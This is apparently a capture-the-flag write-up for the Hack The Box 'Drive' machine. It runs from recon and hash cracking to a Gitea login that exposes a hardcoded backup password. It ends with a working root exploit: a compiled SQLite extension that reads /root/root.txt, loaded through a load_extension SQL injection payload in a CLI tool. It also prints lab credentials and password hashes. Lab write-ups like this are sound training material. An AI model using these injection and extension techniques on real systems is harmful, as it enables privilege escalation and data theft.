Getting User Nmap SYN Scan
┌──( kali㉿kali ) -[ ~/HTB/Drive]
└─$ sudo nmap -sS -oA nmap/initial_scan 10.129.51.71
[ sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 09:36 EDT
Nmap scan report for 10.129.51.71
Host is up ( 0.42s latency) .
Not shown: 997 closed tcp ports ( reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
Nmap done: 1 IP address ( 1 host up) scanned in 15.86 seconds
Default script scan
└─$ sudo nmap -sC -sV -oA nmap/default_script_scan 10.129.51.71
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 09:37 EDT
Nmap scan report for 10.129.51.71
Host is up ( 0.42s latency) .
Not shown: 997 closed tcp ports ( reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a ( RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 ( ECDSA)
| _ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e ( ED25519)
80/tcp open http nginx 1.18.0 ( Ubuntu)
| _http-title: Did not follow redirect to http://drive.htb/
| _http-server-header: nginx/1.18.0 ( Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address ( 1 host up) scanned in 45.57 seconds
The scan shows that port 80 redirects to http://drive.htb/. I'm going to add that to /etc/hosts to be able to access the website.
┌──( kali㉿kali ) -[ ~]
└─$ sudo vim /etc/hosts
┌──( kali㉿kali ) -[ ~]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
: :1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.51.71 drive.htb
I’m going to use gobuster to enumerate the website directories.
┌──( kali㉿kali ) -[ ~]
└─$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u drive.htb
===============================================================
Gobuster v3.6
by OJ Reeves ( @TheColonial ) & Christian Mehlmauer ( @firefart )
===============================================================
[ +] Url: http://drive.htb
[ +] Method: GET
[ +] Threads: 10
[ +] Wordlist: /usr/share/dirb/wordlists/big.txt
[ +] Negative Status codes: 404
[ +] User Agent: gobuster/3.6
[ +] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact ( Status: 301) [ Size: 0] [ --> /contact/]
/favicon.ico ( Status: 200) [ Size: 2348]
/home ( Status: 301) [ Size: 0] [ --> /home/]
/login ( Status: 301) [ Size: 0] [ --> /login/]
Progress: 20469 / 20470 ( 100. 00% )
===============================================================
Finished
===============================================================
Didn’t find anything useful there.
Going through the website, I found the URL drive.htb/{file_id}/block when clicking to reserve a file on the home page of the dashboard. This allows me to read other users’ files.
Using Burpe, by intercepting the page and sending it to intruder, I found a file with the ID of 79 that contains sensitive information.
1 2 martin Xk4@KjyrYv8t194L!
We also found the file -/101/block which tells us that there are backups at /var/www/backups/ and they are password protected.
I found a couple of archived backups that ask for a password when attempting to extract and a db file that has sha1 encrypted passwords.
martin@drive:~$ cd /var/www/backups
martin@drive:/var/www/backups$ ls
1_Dec_db_backup.sqlite3.7z 1_Nov_db_backup.sqlite3.7z 1_Oct_db_backup.sqlite3.7z 1_Sep_db_backup.sqlite3.7z db.sqlite3
martin@drive:/var/www/backups$ 7z e 1_Dec_db_backup.sqlite3.7z
7-Zip [ 64] 16.02 : Copyright ( c ) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 ( locale =en_US.UTF-8, Utf16 =on, HugeFiles =on, 64 bits, 2 CPUs AMD EPYC 7302P 16-Core Processor ( 830F10 ) ,ASM,AES-NI )
Scanning the drive for archives:
1 file, 13018 bytes ( 13 KiB)
Extracting archive: 1_Dec_db_backup.sqlite3.7z
--
Path = 1_Dec_db_backup.sqlite3.7z
Type = 7z
Physical Size = 13018
Headers Size = 170
Method = LZMA2:22 7zAES
Solid = -
Blocks = 1
Enter password ( will not be echoed) :
ERROR: Data Error in encrypted file. Wrong password? : DoodleGrive/db.sqlite3
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
Let's see what the unprotected db contains.
martin@drive:/var/www/backups$ sqlite3 db.sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter " .help" for usage hints.
sqlite> .tables
accounts_customuser auth_permission
accounts_customuser_groups django_admin_log
accounts_customuser_user_permissions django_content_type
accounts_g django_migrations
accounts_g_users django_session
auth_group myApp_file
auth_group_permissions myApp_file_groups
sqlite> select password from accounts_customuser
...> ;
sha1$W5IGzMqPgAUGMKXwKRmi08$0 30814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$6 0919b923803c52057c0cdd1d58f0409e7212e9f
sha1$kyvDtANaFByRUMNSXhjvMc$9 e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$ALgmoJHkrqcEDinLzpILpD$4 b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$5 2f17d6118fce501e3b60de360d4c311337836a3
I added the hashes to a file and used hashcat to decrypt the hashes, which gave us one result, for the user tom .
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha1$kyvDtANaFByRUMNSXhjvMc$9 e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Currently I haven’t found anything I could do with this password.
In our nmap scan, we saw that port 3000 was running.
martin@drive:~$ curl http://localhost:3000
Seeing its a local git hosting web app, I went digging in the source code.
After some time, I was able to login and access the DoodleGrive repo to see the back up script and get the backups password using the following steps.
martin@drive:~$ curl http://localhost:3000/explore/users
martin@drive:~$ curl http://localhost:3000/user/login
martin@drive:~$ curl -s -L --cookie-jar cookies.txt -D headers.txt -d " user_name=martinCruz&password=Xk4@KjyrYv8t194L!" http://localhost:3000/user/login
martin@drive:~$ curl --cookie cookies.txt http://localhost:3000/crisDisel
martin@drive:~$ curl --cookie cookies.txt http://localhost:3000/crisDisel/DoodleGrive
martin@drive:~$ curl --cookie cookies.txt http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh
martin@drive:~$ curl --cookie cookies.txt http://localhost:3000/crisDisel/DoodleGrive/raw/branch/main/db_backup.sh
martin@drive:~$ curl --cookie cookies.txt http://localhost:3000/crisDisel/DoodleGrive/raw/branch/main/db_backup.sh
#!/bin/bash
DB =$1
date_str =$( date + ' %d_%b' )
7z a -p ' H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${ date_str } _db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort = t *.7z > backups_num.tmp
backups_num =$( cat backups_num.tmp | wc -l )
if [[ $backups_num -gt 10 ]] ; then
#backups is more than 10... deleting to oldest backup
rm $( ls *.7z --sort = t --color = never | tail -1)
#oldest backup deleted successfully!
fi
rm backups_num.tmp
After getting tom’s encrypted passwords and decrypting them from Sep to Dec we get the following plain passwords.
sha1$DhWa3Bym5bj9Ig73wYZRls$3 ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
sha1$Ri2bP6RVoZD5XYGzeYWr7c$7 1eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4 053cb928103b6a9798b2521c4100db88969525a:johnmayer7
We see a password pattern now which we'll need to use to crack dec which has different encryption
martin@drive:/home$ cd /home/martin
martin@drive:~$ sqlite3 db.sqlite3
sqlite> select * from accounts_customuser
...> ;
16|pbkdf2_sha256$3 90000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3 +IkHI6KK9Ue8nZeFU =|2022-12-26 06:21:34.294890|1|admin|||admin@drive.htb|1|1|2022-12-08 14:59:02.802351
21|pbkdf2_sha256$3 90000$npEvp7CFtZzEEVp9lqDJOO$So15 //tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo =|2022-12-24 22:39:42.847497|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04.637591
22|pbkdf2_sha256$3 90000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM = |2022-12-24 12:55:10.152415|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02.230289
23|pbkdf2_sha256$3 90000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro = |2022-12-26 06:20:23.299662|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|pbkdf2_sha256$3 90000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0 /jjXK0RDcP6U =|2022-12-24 16:51:53.717055|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15.072407
sqlite>
Ffter filtering the wordlists with the previous passwords we found, we are able to crack it
1 pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=:johnmayer7
we can now SSH with tom's credentials, and get the user flag.
┌──( kali㉿kali ) -[ ~]
└─$ ssh tom@10.129.51.203
. . . . . . . . . .
tom@drive:~$
Getting Root we found a README.txt in our home folder as well as an executable which is mentioned in the txt file
tom@drive:~$ cat README.txt
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: " DoodleGrive self hosted" ,it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However in addition with the " new self Hosted release" there should be a tool( doodleGrive-cli ) to help the IT team in monitoring server status and fix errors that may happen.
As we mentioned in the last meeting the tool still in the development phase and we should test it properly...
We sent the username and the password in the email for every user to help us in testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.
Using ghidra to deassemble doodleGrive-cli, we found the username and password to login and an activate user account function which is vulnerable to SQLi
1 2 moriarty findMeIfY0uC@nMr.Holmz!
and we found an activate_user_account function that’s vulnerable to SQLi
void activate_user_account( void )
{
size_t sVar1;
long in_FS_OFFSET;
char local_148 [ 48] ;
char local_118 [ 264] ;
long local_10;
local_10 = *( long *)( in_FS_OFFSET + 0x28) ;
printf ( " Enter username to activate account: " ) ;
fgets( local_148,0x28,( FILE *) stdin) ;
sVar1 = strcspn( local_148," \n " ) ;
local_148[ sVar1] = ' \0' ;
if ( local_148[ 0] == ' \0' ) {
puts( " Error: Username cannot be empty." ) ;
}
else {
sanitize_string( local_148) ;
snprintf( local_118,0xfa,
" /usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \' UPDATE accounts_customuser SE T is_active=1 WHERE username=\" %s\" ;\' "
,local_148) ;
printf ( " Activating account for user \' %s\' ...\n " ,local_148) ;
system( local_118) ;
}
if ( local_10 != *( long *)( in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail() ;
}
return ;
}
Privilege Escalation This extension will copy root.txt from root folder to tom’s home folderexploit.c
#include <sqlite3ext.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
SQLITE_EXTENSION_INIT1
int sqlite3_extension_init( sqlite3 *db ) {
char *inputFile = " /root/root.txt" ;
char *outputFile = " /home/tom/root" ;
char buffer[ 1024] ;
ssize_t bytesRead;
int inFd = open( inputFile, O_RDONLY) ;
int outFd = open( outputFile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR) ;
while (( bytesRead = read(inFd, buffer, sizeof(buffer)) ) > 0) {
write ( outFd, buffer, bytesRead) ;
}
close ( inFd) ;
close ( outFd) ;
chmod ( outputFile, S_IRWXU | S_IRWXG | S_IRWXO) ;
return SQLITE_OK ;
}
compile the extension
gcc -shared -fPIC -o C.so exploit.c
SQLi to load the extension.
1 "+load_extension(char(46,47,67))--;
Run doodleGrive and activate a user account to load the extension.
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log ( last 1000 request )
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: " +load_extension(char(46,47,67))--;
Activating account for user '" +load_extension( char ( 46, 47, 67)) --' ...
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 6
exiting...
tom@drive:~$ ls
C.so doodleGrive-cli root README.txt user.txt
tom@drive:~$ cat root
e733d1837fd94b33d3d3df7defd*****